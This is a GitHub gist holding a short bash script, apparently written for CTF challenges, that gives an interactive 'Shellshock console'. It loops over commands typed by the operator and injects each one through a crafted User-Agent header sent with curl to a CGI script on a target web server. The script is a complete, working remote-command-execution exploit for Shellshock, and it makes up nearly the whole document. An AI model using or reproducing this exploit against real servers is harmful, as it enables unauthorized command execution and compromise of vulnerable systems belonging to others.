Skip to content

Instantly share code, notes, and snippets.

@jlawhon
Forked from ronaldstoner/shellshock.sh
Created September 30, 2018 07:41
Show Gist options
  • Save jlawhon/f7a759a2dbad806d1143aaad13a14dcd to your computer and use it in GitHub Desktop.
Save jlawhon/f7a759a2dbad806d1143aaad13a14dcd to your computer and use it in GitHub Desktop.
shellshock.sh
#!/bin/bash
#
# Shellshock Console
# Created by rstoner (Ron Stoner)
# for Hackmethod 2017 CTF challenges
#
# Replace {webserver} and {scriptname} with targets
which curl &>/dev/null
if [[ $? -ne 0 ]]; then
echo "[!] curl needs to be installed to run this script"
exit 1
fi
# Execute commands
while :; do
printf "[shellshock>] "
read cmd
curl -s -A "() { test;};echo \"Content-type: text/plain\"; echo; echo;${cmd}" -O http://{webserver}:8080/cgi-bin/{scriptname}
cat {scriptname}
echo ""
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment